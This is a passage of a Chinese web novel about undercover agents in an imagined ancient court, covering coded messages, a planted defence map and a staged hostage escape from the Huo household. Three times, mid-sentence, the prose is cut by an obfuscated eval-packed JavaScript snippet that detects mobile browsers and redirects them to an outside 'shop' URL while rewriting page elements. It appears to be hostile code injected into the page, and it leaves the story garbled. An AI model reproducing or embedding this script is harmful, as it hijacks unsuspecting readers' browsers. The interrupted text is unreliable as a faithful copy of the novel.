听到沉竹如此问，沁菊笑了出来，“你将那些消息不动声色地透露给霍家的人时可曾想到今日的情景？” 这几日中，沁菊细细回想究竟是哪里出了纰漏才让霍间重默不作声连夜围了院子，点名要寻自己一人。 直到那日霍间重登昭王府要人，她才意识到极有可能是沉竹将她的身份泄露。 沁菊离开沉竹的面前，背过身去，在不大的屋子中缓慢踱着步，只是肩膀仍旧紧绷。 “方才你问我为何要选在如此偏僻难寻之处。”沁菊边说着边将屋中一扇落满灰的窗子打开，“此处比邻燕京城郊一处极大的梨林，若逢春日，一将窗打开入目便是一番胜雪的梨花，美极了。”她转头看向沉竹接着说道，“你可知是何人带我来此？” “何人？”沉竹着急地跟着沁菊的思路走，问不出别的话来。 “润夏和当时还在的燕京辨情使，他们将刚抵达燕京城的我引来此，同我讲明赋凌司在燕京城中的布置，那时也是秋季。后来我继任燕京辨情使，来此找寻前辨情使留下的信息，打开窗，才偶然发现了这窗后的景色。” 在沉竹的印象中，沁菊并不是个喜欢叙事抒情的人，今日长篇大段地说如此多，无非是想借与润夏有关的记忆迫使自己心中产生动摇。 “这些话就不必多说，你要我干什么才愿将我想要的告知于我。” 沁菊没有被揭穿的难堪，饶有兴趣地回答道：“我要你帮我。” “你又收到了任务？”沉竹疑惑道，“此次霍间重耽搁如此久才归来，还在城中散布战败的消息，这种种迹象都表明，连接赋凌司与燕京城的使者大抵已被廷正监抓获，你的任务从何而来，你又怎敢去将此任务实行？” “真不知晓你是如何被赋凌司选中派来兆国。”沁菊轻蔑的笑了两声后，又认真地说道，“我现下是还未接到任务，但赋凌司绝不会没有行动。我除了将这些任务一一实行，可还有别的选择？没有解药便活不下去，你想必比我更知晓这其中苦楚。” 沉竹心中还是有些不解，但她不再追问，而是直接地问出：“你要我如何帮你？” “此番不像先前那般，我心中总有种不好的预感。”沁菊颇有些忧愁地对沉竹说道，“我不奢求你能在别的方面对我有所助力，我只盼望在最后关头，你能帮我。” 42. 展开 感受到沁菊眼中的真挚与迫切，沉竹心中不解，迟疑着没有给出肯定的答案。 尽管她知道，能让沁菊这样表态，自己的确已经成为了她最后的选择。 “你还不懂吗？”沁菊谨慎地提高了音量，“哪怕成为燕京的辨情使也无法达到你心中想要的自由，只要赋凌司存在一日，只要覃国存在一日，只要各国的纷争存在一日，你就永远会被困在此处，找不到出路！” 沉竹怔住了，她等着窗外的风声停止，才说出那句沁菊想要的“我答应你”。 听到想要的答复，沁菊并未展露出放松与喜悦，她像是竭力一般，左手重重地扶住了窗棂。 “沁兰对你忠心不二，若我出事，你定要好好照看她。” “沁兰只是对赵叶芊忠心不二，并非是对我。”沉竹淡淡地回应道，“更何况，你从不是那个能够护住她的人，我也不是。” “那我便盼你不会让她身陷险境。”沁菊笑着对沉竹说道。 “如你所言，乱世本就是险境。”沉竹不是不想给出承诺，只是现下的她无法做出言出必行的约定。 陈年的旧屋之中，除了积蓄已久的灰尘，还有着许多看不见的危险。 沉竹边说着边渐渐向窗边的沁菊靠近着，她抓住沁菊扶在窗棂边的手，抬起，用顺手拾来的碎木力道不轻地在她左手的食指之上刮下一道痕迹。 “你这是做什么？”沁菊不明所以，小声地惊呼到。 沉竹没有回答，只是将手中沾了些血的碎木“哐当”一声扔到了地下。 在这沉默之中，沁菊脑中思索出了沉竹的用意。 “你到底还是要将要做的做完。” 她用放在衣袖中的帕子简单擦拭指尖上流出的鲜血后，端起王府宠妾的姿态，从沉竹身边走过，在沉竹侧的位置轻声说道：“你我有缘再见。” 随后便走出了这间简陋的房屋。 风声又起，窗子还开着，沉竹的心沙沙作响。 一片黄叶飘进窗子，落在沉竹脚下，有着尚未完全消去的鲜活，与周遭的灰暗破败格格不入。 沉竹弯腰拾起那片叶子，试着擦去方才跌落的碎木之上的血迹，可那血红色已然深洇在其中，不论如何都擦不掉。 她起身离开此处，那叶子被她用力地握在手中。 兆国东境有城名为周邑，常年受羌族各部落侵扰，当地人迹寥落，却是兆国一军事要塞。 计划中景王同陛下进言征召各地士兵去往此处换防、补防，此外陈年与霍间重命廷正监中人伪造了一张十足真的周邑军防图放在霍府之中，借先前从抓获的赋凌司人口中审出的传递消息的方式，将消息放了出去，静待燕京城中赋凌司细作的动作。 此图刚前脚刚被人送到了霍府，后脚沉竹就收到了消息。 彼时沁兰拿着食盒进入主屋之中，食盒之内放着的是沁兰今日上街买回的新鲜糕点。 “夫人可要尝尝奴今日上街买来的糕点？”沁兰的语气带着可察的试探与小心翼翼。 沉竹颇有些探究地看向沁兰，但依旧欢欣地说道：“让我来尝尝是何好物让你带回府来。” 她笑着拿起一块精巧的糕点送入口中，耳边沁兰还在不停地补充道：“今日奴上街，见此间铺子排了长队，便为夫人买来尝尝。” 蜂蜜浸过的枣泥加了细小的桂花被糯米打成的外衣包裹着，枣的酸恰好中和了蜜的甜腻，尝起来的确可口。 “味道的确不错。”沉竹边说着，边点头表达着赞许。 “夫人觉着好便是好。”沁兰断断续续地说着。 “你可有事瞒着我？” 沁兰对自己说谎的模样颇有些认识，知晓此时定然瞒不过自家夫人，但被戳穿之后还是有些慌张。 她迟疑了许久才对沉竹交待，是沁菊在街上将此食盒塞给自己，说食盒中装着的是近来燕京城中最为火热的糕点，托自己带回给沉竹为那日在布匹店中的唐突赔罪。 听完沁兰的一番话，沉竹入口的糕点不上不下，一时之间没了先前那般好滋味。 见沉竹这副模样，沁兰颇有些愧疚的说道：“是奴不好，未提前将此事向夫人说明，惹得夫人烦心。” “罢了，你先出去吧。”沉竹盯着眼前这些被做得百般精巧的糕点，口中对沁兰说道。 “是。”沁兰说罢，离开了正屋。 沁菊传递消息的方式如此毫无新意经久不变。 沉竹拿起一块糕点仔细地看了一阵，随后，将食盒中放着的糕点一一都掰了开，找寻沁菊留下的信息。 掰到只剩最后一个，沉竹还未找到在其中藏匿的信息，就在她准备将这最后一个也掰开时，屋门开合的吱呀声传到她的耳边，是霍间重走了进来。 沉竹短暂愣了一下，随即将手中那一个未来得及掰开的糕点放了回去，绽出了明丽的笑容，语气轻快地对霍间重说：“夫君回来了。” 霍间重一时只看到了沉竹脸上明艳的笑，示意地颔首后，才注意到桌上摆的七零八落的半块糕点。 “夫人吃点心竟还有这样的习惯。”他边说着边向沉竹走近，坐在了她的身侧。 “前些时日听闻燕京城中新开了家点心铺子，今日我便托沁兰上街买了些回来，夫君可要尝尝看？”沉竹隐下了是沁菊将糕点送来的事实，拿起半瓣儿糕点递给了面前的霍间重，放在了他的嘴边。 “味道的确不错。”霍间重轻咬了一口，细细咀嚼品尝过后才给出评价，“此间铺子在何处？我让人去给霍任芙买些回来，她自小便爱吃这些糕点甜食。” 沉竹哪里知晓这铺子所在何处，只好说道：“可惜今日这些糕点都被我一时兴起糟蹋成了这模样，不好给芙儿送去。” “无妨，此处不还有一块整的，让沁兰先拿去给她尝尝鲜便是。”说罢，不给沉竹反应的时间，霍间重便出声唤沁兰进屋来，将那唯一一块沉竹未掰开查看的糕点放在了一只上了红釉的瓷盘中，端去给了霍任芙。 沉竹心知再说些什么也无法阻止，只会让自己显得更加可疑，便在心中期盼沁菊未将话写得太露骨才好。 “买点心的事何须劳烦夫君遣人去，我改日让沁兰载多买些回来便是。”沉竹笑着将此事带过，“夫君今日怎得如此早便归家，今日郑将军叫夫君去往廷正监时不是说有要事急着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13952283|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请夫君前去？“ “我前去将事情办完，便回来了。” 霍间重话说得坦荡，将沉竹心中的疑问生生按了下去。 沉竹心中不安，但还是如常地拿起一块糕点送入口中。 “夫人今日可曾遇到什么有趣的事？”霍间重把玩着沉竹的另一只手，用手一根根的从指根捋到指尖。 “不曾。除了同夫君一起吃到了如此好吃的糕点，便没遇到什么有趣的事。” “你指尖上的疤痕已差不多消去了。”霍间重说着，反复摩挲着她那曾经受伤留疤的指尖。 “是啊，夫君给我的药膏甚是有用，我日日涂抹指尖上留下的疤倒真的一点点褪去了，此事还要多谢夫君。” 话音落下，屋门再次被敲响，沉竹的心一揪，她担心沁兰带着从那糕点中发现的沁菊留下的信息出现在门前。 “何人？”霍间重出声询问。 “主君，是奴，沁兰。” “有何事？” “府外的守卫传来话，说陈大人请您速到廷正监一趟。” “知道了。” 见对话已然终止，沉竹的心放下了一半，她对着霍间重说道：“夫君有事便先去吧。” 霍间重摸了摸她的头，随后出门离去。 沁菊想要递给她的消息或许并未藏在糕点之中？ 抱着这样的想法，沉竹将还在门外站着的沁兰唤了进来。 “芙儿觉得那糕点如何？” “那糕点深得霍小姐喜爱。”沁兰老实地回答道。 “那便好，你知晓这间铺子的位置，改日便多买些回来。” 沁兰点头答是。 “时候不早了，你先去膳房着人预备晚饭吧。” 沉竹支开了沁兰，开始钻研她带来的食盒之上可藏着什么玄机。 她先将食盒外边细致地摸了一遍，不见有异常又将食盒打开，一层层地检查着，反复几遍过后，她捻着衬在糕点之下的油纸并不如她想象那般轻薄。 她将油纸抽出，对着窗外还未偏移的日光看了半晌，仍未发现什么异样。 或许沁菊给自己这么一盒糕点只是为了示好？ 这样的疑虑只短暂在沉竹心中出现了一瞬，就立即被她掐灭，沁菊那样的人，从不做无意义之事。 沉竹回想起自己在赋凌司学到的那些伎俩，她拔下头上的银簪，顺着油纸的背面从上至下用力地刮去，当真有细小的纸张碎片被刮下。 刮完整张油纸，有什么字样似是显现，沉竹再次将那油纸放到了日光之下，不像上次的空白，这次她知晓了沁菊要告知她的消息。 “图纸今日入霍府。” 看出这字样之后，沉竹先将桌上的烛台点燃，将她手中和被她刮落的油纸都放到了火焰之上烧毁。 等待纸张完全消逝的过程中，沉竹逐渐将事情想明。 霍间重此时归家便是为了那张图纸，可她明明记得霍间重从不将任何公务带回府中，滁州是，之前在燕京也是。 思及此，刚因在食盒之中找到消息而放下的不安再次攀升在她的心头。 她嗅到了危险。 43. 猜忌 被霍间重怀疑，是沉竹早在嫁去霍府之前就有过的预想，当她将沁菊的行踪说与霍任芙时更是料到了自己暴露的可能。 因而此时，沉竹心中只在意识到这一点时出现了一丝慌乱，随后就不再有波澜。 她淡定地将桌上还在燃着的火烛熄灭，披了件水青色的外衣御屋外的冷风，行至厅中用饭。 沁菊并未在消息中写到要她做些什么，她也不欲多做些什么来为沁菊行个方便。 至于霍间重是从何时开始怀疑，霍任芙现下又是否知晓她兄长的疑心，对沉竹而言并不是那么重要。 沁菊那日说的话让她思考如何才能解开自己身上的桎梏，可目前她想不出办法，先前平常的日子也不曾给予她向外挣脱的机会。 如今廷正监清查城中赋凌司奸细，她便安然等着此事过去会得到何样的结果，若落得身死，她便也认下了这份命运对自己的判罚。 进到厅中，霍任芙早已候在了那处，身上穿着的正是沉竹由那日外出买回的银红色布料缝制好的衣衫。 “嫂嫂来啦。”霍任芙招呼着沉竹坐下，“兄长刚才又被陈大人叫去，怕是晚饭又没了着落，待会儿我想着去给兄长送些吃食，嫂嫂可要同我一并去？” 沉竹一眼看出霍任芙脸上的不自然，温柔地向霍任芙问道：“芙儿可是有什么事要亲去廷正监一趟？” “可是今日我如此关切兄长让嫂嫂生疑？”霍任芙被沉竹看穿后尴尬地笑笑，“自兄长此次归来我便觉着有些不对，见嫂嫂上次只为我买了新布制新衣，便猜着嫂嫂与兄长间可是有了些什么误会，今日兄长归家，特意嘱咐我去廷正监为他送些吃食，我心中疑虑便又加深，想着叫上嫂嫂一并去同兄长见上一面，把话说开些。” 沉竹那日未给霍间重买下制新衣的料子，只是因为自己挑来挑去又是霍间重常穿的那几个颜色，一时有些犹豫，未做下决定罢了，不想此事在霍任芙眼中竟多了别的意思来。 霍间重的状态不对？这点她倒是没有发现，只是霍间重嘱咐霍任芙去给他送些吃食怕是想借此机会将霍任芙支走，给有心之人留出“作案”的空间来。 至于这有心之人是沁菊还是自己，倒是个值得商榷的问题。 若是自己，答应霍任芙和她一并去往廷正监便是霍间重意料之外的事情。 想到这点，沉竹莞尔对霍任芙说道：“此事确实困扰我有些时日，此次我便同芙儿一并去，将事情同夫君说清。” 霍任芙听沉竹如此讲，面上的那些不自然即刻便消去，笑着同沉竹说：“嫂嫂能同我作伴，我真心欢喜。” 用过晚饭，提着食盒，沉竹同霍任芙一起坐上了前去廷正监的马车。 路上，霍任芙同她讲起了这段时间她不曾注意的事。 “嫂嫂可知兆云公主被遣去同覃国王室和亲？”霍任芙低着头，手指在衣裙之上互相勾连着，“我听闻对方是刚死了妻子空了正妃之位出来的皇子，妻子的头七还未过，那皇子便匆匆定下了这桩亲事。” 沉竹将手覆在霍任芙的手上，温和地说道：“此事并非你我能够预料掌控。你莫要因此忧思。不过，兆云公主的母亲与昭王的生母是亲生姊妹，在这婚事落定之前倒是未听闻昭王有何动作。” “兴许此事早已得了昭王的许可。昭王野心勃勃，对那悬而未定的太子之位垂涎已久，若是能得覃国从中斡旋，这事情想必于他会简单不少。” “眼下覃国势大，我国长此以往地战下去对国力定会有所损耗，倘若难以取巧制胜，与覃国议和倒是一个休养生息的好选择，只怕覃国并未做此想。” “嫂嫂如此说，那兆云公主的境遇便是更糟糕了。”霍任芙感叹道，“昭王大抵也有自己的打算把。此人虽看上去狼子野心，好色无度，但城中不少百姓都称颂他的功名，前几年南部天灾，也是昭王派人通渠治水，颁了不少新策才让当地的百姓好过了一些，那时我在滁州也听闻此事。” 这与沉竹从沁菊口中听闻的别无二致，只是看到实处，真正做出政绩来的是昭王手下的那些幕僚和朝中站在他这边的达成，论他本人，便只剩识时务，听得进去话这寥寥几个尚且够得上轻重的优点。 “如此想来，看清一个人到底是难的。”霍任芙撑着脑袋轻叹了口气，“不过，昭王背后的助力也是极大的，不然则能将先前的婚事都办成了利于百姓的国事。如此错综的局势之下，兆云公主离得漩涡近了些，身上那些富贵便成了枷锁。不知这乱世何时才能结束，让人过上几天既无外敌，上下清明的日子。” 沉竹握着霍任芙的手，未发一语。 马车渐渐停下，霍任芙先一步牵着沉竹的手走下车辇。 不似沉竹先前在廷正监门前想尽办法自证，才得以进入廷正监的大门，霍任芙手中拿着一个铜制的腰牌，自在地进了廷正监。 “这铜牌是？”沉竹边跟着霍任芙进门，边问道。 “先前我不是常来廷正监送吃食，有时门前守卫更换，我便要在门外被拦上几个时辰，兄长便把这铜牌给了我，好让门前的那些守卫接下食盒拿给兄长，我便也可返程归家。” 沉竹了然地点了点头。 引路的人将她们带至一间房中，此处正是那日沉竹进到廷正监中同霍间重一同用饭的地方。 沉竹坐下，看着面前的霍任芙将食盒中的菜一个个摆了出来。 “可要找人将夫君寻来？” “不必，嫂嫂安心在此处坐着便是，兄长办完事便会来此休憩，待会儿我亲去把兄长找来同嫂嫂一起用饭。” 霍任芙低头笑着将一盘盘的菜都摆了出来，将碗筷也摆放整齐，随后便急着起身去寻霍间重。 “芙儿莫要如此着急……“沉竹话音还未落下，霍任芙就已消失在了眼前。 不一会儿，霍间重便被霍任芙找来，稍微交代了一两句过后，霍任芙便带着笑容匆匆离去。 “你来了。”霍间重坐下，边说边拿起碗舀起汤来。 “夫君见到我很意外？”沉竹垂着眼，敛去眼中的情绪。 “霍府离此处有一段距离，劳你和霍任芙前来未我送这些吃食。”霍间重说罢，将盛好汤的碗放到了沉竹面前。 沉竹没做出回应，只是拿起调羹，默默喝着眼前这碗尚还冒着热气的汤。 “前些时日，陈年同我道谢，说是多谢你那日在陈府为他家夫人说话，现下他家夫人身子好了大半，急着邀你去陈府做客，他们夫妇二人好亲自谢你。”霍间重恍若没事人一般继续同沉竹话着家常，“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973320|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知我可有幸让夫人带我一同去？” “夫君去陈府可是有事？” “陈大人刚从周邑归来，我便想着亲去拜访一番。” “我怎敢阻拦夫君的公事？小陈大人可定下了日子，我好备些礼同夫君一同拜访。” “五日后。” 霍间重说完，向沉竹碗中添着菜，沉竹知晓那是他从赵父赵母口中问来的赵叶芊幼时爱吃的菜肴。 她抬眼看向他，不解他神色举止间的坦然。 “夫人可有乳名？”霍间重冷不丁地发问。 “父母亲常叫我芊芊，不知可否算作是乳名。”沉竹对答如流，“夫君可有自幼被叫到现在的小名？” “霍任芙一句兄长从小叫到大，父母亲在时也常唤我大名，章征、郑子寒他们常叫我，倒真没什么小名一说。”霍间重对上沉竹早已将不解藏起的眼，“不如夫人为我取一个？” “我来为夫君起？”沉竹疑问道。 霍间重今日是吃错了什么药，来跟她玩名字游戏？ “正是，起好了夫人往后便可如此唤我，总叫夫君未免显得生分了些。” 沉竹还是疑惑地看着霍间重一阵才开口：“我倒觉得夫君这一称呼并不显得生疏，不过夫君既让我起个名字，不如叫轻轻？”沉竹扬起了嘴角，同霍间重继续说道，“夫君身上的担子太重，身边事务太繁杂叫轻轻也算图个好兆头，望往后事务能让夫君人轻快些。” “轻轻。” 见霍间重轻读着这么一个将要属于他的“美娇娘”名字，沉竹心中便觉得滑稽，面上的笑容不由自主地越来越深。 “那便叫轻轻，同夫人的小名倒还有些相像。”霍间重的神色并未有多大的起伏，极为自然地接受了沉竹为他取的这一称呼。 轻轻，芊芊。 沉竹不再像先前那般笑得真心，“夫君喜欢便好。” 是她太过贪婪，坐享着赵叶芊的人生却又无时无刻不想敲碎这外壳，让他人好好看看其中的自己。 霍间重不再给她添菜，他似乎也在犹豫着什么。 二人不再言语，安静地将饭用完。 明月高悬，霍间重公务缠身无法归家，于是和来时没什么区别，沉竹与霍任芙同乘一车返回霍府。 “嫂嫂和兄长可还畅快？”见沉竹上车，霍任芙便急着问道。 “托芙儿的关切，我与夫君聊得很好。”沉竹笑着回答道。 “那便好，不枉兄长特意来找我一趟，说今日无论如何也要带着嫂嫂来廷正监与他相会。” “是夫君特意找我前来。”沉竹颇有些惊讶地问向霍任芙。 “是呀，我是不是装得很好？现下见嫂嫂与兄长重归于好，我心中也欢喜不少。” “芙儿装得很好，我不曾分辨出来。”沉竹应和着霍任芙的话，神思却早已跑到九霄云外。 沁菊身在王府，要想得知霍府的情况其实十分容易，毕竟霍府门外整日都有昭王府的人暗中盯梢，若是她猜的不错，沁菊今日就会动手。 照她所想，霍间重既已对她的身份起疑，何需将她支来廷正监，留在霍府岂不是让他捉到马脚？ 不似月光之皎洁，沉竹的心越想越乱，万千思绪都绞做了解不开的一团。 44. 差错 归府之后沉竹便直接回到了正屋中。 她并不知晓这东边的布防图被霍间重的人放在何处，也再无心思去查看院落之中可有出现什么蹊跷，她思索着霍间重今日此举到底是何用意。 但就在她单手合上屋门之时，忽有一个黑影自房梁之上从她眼前闪过。 沉竹心中知晓来人是谁，并未在意，依旧未放下心中所想的事，兀自朝前走去。 可那人并非是想悄无声息偷鸡摸狗的小贼，她出手拦住了将要走到梳妆台卸下头上钗环的沉竹，语气幽幽道：“霍府之外被廷正监人重重包围，帮我逃出去。” “你果真今日来了。”沉竹陈述着眼前的事实。 “我从昭王处得到了消息，便来了。”沁菊沉着脸说道，“是我太过心急，中了圈套。” “你拿到那张图了？” “自然。你今日去了廷正监可见到了霍间重？他可有表现出什么异常？” 可惜沉竹今日感受到的“异常”并不是此时的沁菊想要的答案。 “见到了，他依旧在忙廷正监内平常的事务，至于是什么，我也一如既往不甚知晓。不过他定是料到了有人会来盗取此图，才会在今日将我同霍任芙支走，方便有心之人行事。” “我心中自是有数，可我现下出走昭王府也十分困难，这段时日，昭王忙着同覃国来的使者交际，又冲撞上新王妃入府的事宜，这段时间府中守卫松懈，我才得以来此。” “你要我如何帮你？” 沁菊蒙着面，左手紧握着匕首，看着沉竹，一时间说不出来话。 “挟持我？”沉竹边说边摘下头上的一两支银簪，将发和衣衫都弄得松散，伪装出挣扎的的痕迹。 沁菊听后直接将手上的匕首横在了沉竹颈前，一时没注意好力度，锋利的刀刃将沉竹的喉咙处刮出一道轻浅的血痕来。 “放好了吗？放好我就叫了。” 沁菊转到了沉竹的身后，用另一只手则用力地勒住了她的脖子。 沉竹即刻便高喊道：“来人呐！有刺客！” 待沉竹话音落下，沁菊便带着她用脚踹开了主屋的房门，朝府门的方向走去。 在周围埋伏着的廷正监侍卫如黑色的浪潮一般从门外、从墙头冒了出来，前前后后以她们为中心，围成了一圈。 “让出条路来！”沁菊刻意将声线放低，对着为首的人说道。 为首的人沉竹认得，是常跟在霍间重身边的那个郑子寒。 “郑将军！” 她惊呼一声后，身后的沁菊将匕首朝着她的脖颈逼近了些，鲜红的血顺着刀刃流了下来。 “往后退！” 郑子寒指挥着那些侍卫逐步向后退去，随后跟离得最近的侍卫轻声嘱咐道，“快马去廷正监，将霍间重喊过来。” 那人听后立刻便从郑子寒身边离去。 面前的侍卫一直退到了府门之外，沉竹与沁菊正立在府门之处踌躇不前。 霍任芙的声音越过重重黑压压的侍卫传了过来，她身穿白色的寝衣站在正对着府门的一处阶梯之上，踮起脚才得以瞧见被包围住的二人，高声问道：“这是发生了何事？” 没有侍卫敢分神看向声音的来处，都集中地盯着沁菊手中的匕首，不敢有半分懈怠。 只有身在包围圈中的沉竹回应着她的询问：“芙儿听话，快些回房去，此处危险。” 霍任芙不再追问，将裙摆挽起，寻到院落中的一处矮墙费力地翻了出去，然后沿着墙边，走到了退至门外的郑子寒身边。 “兄长呢？” “我已着人去叫了。”郑子寒背着手，目光依旧放在那二人身上，“你可瞧着这拿刀的人有些眼熟？” 霍任芙顺着他的话打量起被沉竹的衣裙遮住大半身形的黑色人影。 “你这一说，此人道真有几分面熟。”她的语气也从最初辨认的犹疑逐渐转为似是而非的肯定，“像是…像是先前嫂嫂身边的那个侍女。” 看到霍任芙站在郑子寒身侧同其交谈，沉竹心想不能再拖下去。 沁菊手中的刀刃依旧横在原来的位置上，沉竹的血接连不断地缓慢流下，将她衣襟处渐渐染红。 这时寂静的长街之上传来了匆忙的马蹄声。 沉竹撑着这声音刚起时，头轻轻偏向另一侧向沁菊示意，沁菊精神集中，迅速接受到了她的信号。 沁菊举刀刺向沉竹的左肩，沉竹痛呼一声，动静极大地倒在了地上，周围拿着刀的廷正监侍卫纷纷向内错了一步。 在郑子寒和霍任芙急忙命人将沉竹扶起，寻医士来医治的时候，沁菊后退翻上了霍府墙头准备离去。 马蹄声近了，一支箭也随之而来，正中沁菊的左肩。 沁菊踉跄了一下，可她顾不上回头看清来人是谁，捂着伤口快速从此局面脱身。 霍任芙先一步冲了进去将沉竹扶起，赶来的霍间重拨开黑压压的人群从霍任芙怀中接过了嘴唇苍白，看起来无比虚弱的沉竹，将其抱起朝府中走去，同时向一旁身上白色寝衣已被沉竹的血染红些许的霍任芙嘱咐道：“从我书房拿药到正屋来。” 霍任芙听后小跑着去到书房，霍间重则抱着沉竹疾步去向正屋。 速度虽快，但怀抱平稳，沉竹睁开眼看向霍间重，微微勾起一抹笑，虚着声音说道：“夫君来了。” 霍间重神色凝重，尽力将自己的声线变得柔软：“嗯，我来了。” 他将沉竹的半个身子靠在床头，沉着脸将她身上那身刚制却染上血的新衣解开。 “还是第一次见夫君如此急切地为我宽衣解带。”沉竹忍着痛得出闲来打趣，“往常都是我将衣服先剥个干净。” 沉竹话音刚落，沁兰便端了一盆清水进来，向霍间重询问道：“可要奴帮主君将夫人伤口周围血迹擦去？” “不必，我来就好，你先出去吧。” 沁兰应声退下，霍间重拿起帕子收着力气为沉竹清理着肩上的伤口。 “可疼？” “夫君为我擦拭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001242|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，自然是不疼的。”沉竹咬着牙说道，心想霍间重手上怎么没轻没重，只想将他手中的帕子夺去，又怕自己清理伤口的动作太过熟练，让他觉出端倪来。 或许霍间重听懂了她的话外音，或许她咬牙切齿的语气太过明显，沉竹感受到他手上的力气更轻了。 “这样呢？可疼？” 沉竹这次没说话，只是将眼神放空，摇了摇头。 霍任芙拿着药走了进来，将手中的药递给了霍间重。 霍间重打开药罐，一股浓烈又苦涩的草药味道传了出来，他将药膏一点点上在沉竹的伤口处，许是这药膏见效极快，沉竹的疼痛减轻了不少。 待霍间重将药上完，郑子寒带着医士赶来。 那医士把过沉竹的脉，检查了沉竹的伤口，随后严肃地张口：“伤口不深，只是创面古怪，易失血溃烂，所幸处理地及时。我待会儿为夫人写上一副益气补血的方子，夫人有规律地间隔时间将这一个疗程进行完，伤口定能愈合，身体也会更加康健。 “多谢医士。“霍间重说着拿出一袋银锭放在了那医士手中，侧脸对站在一旁的郑子寒说道，“子寒劳你送医士出府。” “芙儿，今日可是惊到你了？你也快些去安置吧，不必在此守着我。” 霍任芙还未将身上那件洁白的寝衣现下又有尘土又又血迹，脸上余惊未却、疲惫有加，眼神中却还透露出对沉竹的关切。 “嫂嫂现下觉着可还好？” 这点伤对于沉竹来说实在是不足为道，她安抚道：“还好，芙儿不必为我担心。” 屋中随后便只剩下了沉竹与霍间重。 烛火轻微摇曳着，霍间重低头继续着方才未进行完的包扎。 他的手法很是熟练，沉竹默默看着，除了力道没什么可挑出错的地方。 “多谢夫君今日救我。”沉竹看着刚包扎好的伤口说道。 霍间重不语，手上的活计却不曾停下，他将沉竹头上仅剩的玉钿银簪摘下，放到梳妆台面之上。 “夫君可否帮我将这身衣服换下？” 沉竹不说，霍间重本也打算做的，他从柜中取来沉竹常穿的寝衣替她换上。 见他这副乖巧听话的模样，沉竹笑着说道：“轻轻今日真听话。” 夜色转沉，霍间重躺在熟睡的沉竹身侧，却无法入眠。 他今日命蹲守在霍府周围的廷正监侍卫都带上了特制的刀，刀尖微弯，还带着细小的锯齿，此刀造成的伤口不仅不易愈合，创面也能教人一眼认出是廷正监的手笔，同他今日射出去的箭是一样的道理。 但他不曾想会见到完好无损的沁菊挟沉竹走出。 按计划，他本就只想在那人身上留下物证，不想将其抓捕抑或是绞杀，他还需要那人将这假消息传出去，引东羌落入他们的陷阱。 他本就是要放沁菊走的，身边的人也本不应该为此受伤。 除此之外，他方才在柜角里还隐约闻到了血味，看到了细处已然干涸的一片血迹。 45. 涟涟 沉竹的伤养了几日便已愈合地差不多，脖颈处的纱布已然拆下，只剩肩膀上的伤口因用力不时还会渗出些血来。 沉竹不以为然，轻轻揩去因搂抱身上人太过用力而流出的血迹，抹在自己的唇上，再去和眼前人唇齿相接。 但霍间重却远离了她送上来的唇，担忧地看向她流出点滴血迹的肩膀。 “早说了，不该做此事，伤口如此反复何时才能好全？” 沉竹听后坐直身子，搂了搂身上残留的衣衫，笑得玩味：“我一味强求，可夫君不也凑了上来，现下怎得半途而废又来怪我？” 霍间重不语，将放在床头的纱布和药膏拿来将沉竹渗出的血迹擦去，在裂开的伤口处重新上药。 “可要将陈府的邀约推后几日？”霍间重裸露着上身，专注地低着头处理伤口，抽出空来认真询问着沉竹。 “不必，许久未见涟涟我倒还有些想念，更何况夫君不还有事情要同陈大人询问。” 沉竹边说着话，边抚摸着霍间重的后背，干扰着其处理伤口的进程。 “安分些。”霍间重提醒道。 沉竹悻悻地将手收回，没好气地同霍间重问道：“这件事可让夫君受到了牵连？” “昭王的人在朝堂之上将此事呈给了陛下，私下景王被陛下叱责，我自然受到了牵连。” “罚俸？” “夫人聪慧。”霍间重浅笑着说道。 “只是罚俸？夫君可莫要骗我才好。” 此种泄露军情的大事怎能是罚上几个月俸禄如此简单？ “自然，我在这种事情上何必隐瞒于你。只是遭遇了刺客而已，廷正监要我保管的东西我并未弄丢，也未有人员受伤，我身为监副上面还有陈年担保，我又有军功傍身，自然就是罚俸如此简单。” 图纸未丢？沉竹深知沁菊没有任何理由骗她。 见沉竹出神，霍间重轻勾了她的鼻梁，问道：“你在想些什么？” 沉竹从思考中回过神来，笑着回应霍间重：“自然是在想罚俸之后，府中用度该如何缩减一番才好，我本以为夫君此番会受些皮肉之苦，方才亲自检查过后心才安了下来。” 心安？沉竹如何能够心安，霍间重的一番话虽有些道理，但她依旧感觉到了不对，从昨夜到现在，廷正监似乎一直在将刺客有意地放走。 “那晚的刺客可捉到了？” “尚未，现下廷正监正在城中排查。” 沉竹听后略松了一口气，沁菊若是能成功回到昭王府，此番排查大抵也会不了了之。 